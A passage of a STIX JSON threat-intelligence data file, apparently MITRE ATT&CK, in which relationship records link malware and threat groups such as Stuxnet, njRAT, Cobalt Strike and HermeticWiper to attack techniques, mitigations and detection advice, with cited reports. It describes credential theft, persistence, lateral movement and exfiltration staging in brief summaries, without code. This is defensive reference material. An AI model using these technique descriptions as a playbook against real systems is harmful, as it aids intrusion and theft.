","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:13:49.629Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) attempts to access network resources with a domain account’s credentials.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d46078a7-420b-4074-8ecb-3440737c12e4","type":"relationship","created":"2020-08-03T19:28:18.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2020-08-03T19:28:18.115Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can search a list of running processes for Tr.exe.(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d464c661-d4da-427f-8c16-dfc275735fe9","type":"relationship","created":"2019-04-17T16:58:29.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}],"modified":"2020-12-17T20:15:30.830Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has been seen changing malicious files to appear legitimate.(Citation: District Court of NY APT10 Indictment December 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4657411-8fa6-4bbc-9ed0-474eafd14375","type":"relationship","created":"2020-05-26T19:31:59.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-26T19:31:59.254Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has used DLL side-loading to load malicious DLL's into legitimate executables.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d466f2a4-4d31-4343-b56f-f2d132dc1d3e","type":"relationship","created":"2020-03-20T19:51:55.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-20T19:51:55.369Z","relationship_type":"revoked-by","source_ref":"attack-pattern--54456690-84de-4538-9101-643e26437e09","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d46bfe1c-6991-4783-9d0e-e5e2a9c39bc1","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:51:17.644Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Monitor for use of code repositories for data exfiltration. \n","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4784901-968c-4fb1-b0d3-0268d4c40582","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"},{"source_name":"Symantec Calisto July 2018","description":"Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.","url":"https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T19:42:40.616Z","description":"[Calisto](https://attack.mitre.org/software/S0274) uses a hidden directory named .calisto to store data from the victim’s machine before exfiltration.(Citation: Securelist Calisto July 2018)(Citation: Symantec Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d47ea1ea-ea4c-46e0-b761-9b6c24888be6","created":"2023-08-01T18:39:17.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"},{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:36:33.465Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can utilize WMI to collect system information, create new processes, and run malicious PowerShell scripts on a compromised machine.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d486dd75-bb96-44e6-9898-c256b9f1b8ba","created":"2020-11-06T18:40:38.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cobalt Strike TTPs Dec 2017","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-16T19:00:28.383Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use Window admin shares (C$ and ADMIN$) for lateral movement.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4895c50-334c-4d8b-b329-8613de602fa4","type":"relationship","created":"2020-03-20T14:28:39.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-20T14:28:39.733Z","relationship_type":"revoked-by","source_ref":"attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d48a5068-7796-4c66-9ddf-eb6e8aaf6887","type":"relationship","created":"2019-06-24T13:46:11.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/","description":"Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.","source_name":"Windows Blogs Microsoft Edge Sandbox"},{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"}],"modified":"2021-10-15T19:01:35.113Z","description":"Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. Risks of additional exploits and weaknesses in those systems may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d490bb02-7dfc-4808-8109-29a3871f830a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.004Z","description":"[Comnie](https://attack.mitre.org/software/S0244) achieves persistence by adding a shortcut of itself to the startup path in the Registry.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4922804-7216-4e83-b0c0-6e61b09d5fc0","type":"relationship","created":"2020-05-07T22:32:37.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.592Z","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) has embedded a VBScript within a malicious Word document which is executed upon the document opening.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4962990-8bb3-46b9-9ca3-c946fd6ce07e","created":"2020-07-23T14:29:04.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trustwave GoldenSpy2 June 2020","description":"Trustwave SpiderLabs. (2020, June 26). GoldenSpy: Chapter Two – The Uninstaller. Retrieved July 23, 2020.","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:27:45.127Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493)'s uninstaller has base64-encoded its variables. (Citation: Trustwave GoldenSpy2 June 2020)","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4968f45-d06b-4843-8f72-6e08beb94cab","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-07T18:39:07.922Z","description":"(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d497a340-9b38-4b98-8fb6-1288519dc541","created":"2022-06-01T20:49:07.906Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."},{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has exploited Microsoft Office vulnerabilities CVE-2012-0158, CVE-2017-11882, CVE-2018-0798, and CVE-2018-0802.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)","modified":"2022-06-01T21:21:05.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d4992852-13b0-4bfb-aee3-09d658a52785","created":"2022-04-11T16:22:51.765Z","x_mitre_version":"0.1","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[XCSSET](https://attack.mitre.org/software/S0658) uses the plutil command to modify the LSUIElement, DFBundleDisplayName, and CFBundleIdentifier keys in the /Contents/Info.plist file to change how [XCSSET](https://attack.mitre.org/software/S0658) is visible on the system.(Citation: trendmicro xcsset xcode project 2020)","modified":"2022-04-19T21:30:20.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d49dcee7-6729-4b50-80ef-8100c306ffeb","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4ac3315-4b5c-4373-a7ea-0c389545f4a3","created":"2024-01-05T20:36:21.343Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-05T20:36:21.343Z","description":"[Samurai](https://attack.mitre.org/software/S1099) has created the directory `%COMMONPROGRAMFILES%\\Microsoft Shared\\wmi\\` to contain DLLs for loading successive stages.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4ac896d-31ac-4c4a-a4d5-3134e6bd8622","type":"relationship","created":"2022-03-25T21:34:45.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}],"modified":"2022-03-25T21:34:45.391Z","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to stop the Volume Shadow Copy service.(Citation: Qualys Hermetic Wiper March 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4af8174-461b-4276-bcb6-44b2cb04928a","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitoring for Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4b7fe3d-aab5-48fe-b3bc-123f5bd90712","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Dev Blog IFEO Mar 2010","description":"Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.","url":"https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"}]},{"type":"relationship","id":"relationship--d4b8717c-a2bf-43af-b48f-8ef57bd6d36f","created":"2024-09-23T23:06:31.541Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:06:31.541Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) used [LaZagne](https://attack.mitre.org/software/S0349) to obtain passwords in the Registry.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2) ","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d4bb82ea-dce3-4f6f-973c-32e1e6b0112c","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor newly executed processes that may abuse Microsoft Office add-ins to obtain persistence on a compromised system. ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4bf0c1a-d5cf-4d49-b0eb-4d347722ab63","created":"2022-09-06T13:52:08.343Z","revoked":false,"external_references":[{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-06T13:52:08.343Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can use PowerShell for execution.(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4bffc31-3d7a-4f05-a85d-fdaaaa70853d","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.697Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) extracts and decrypts stage 3 malware, which is stored in encrypted resources.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d4c0fc27-4234-43bb-9f11-eb018e21c359","created":"2024-03-13T20:38:16.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 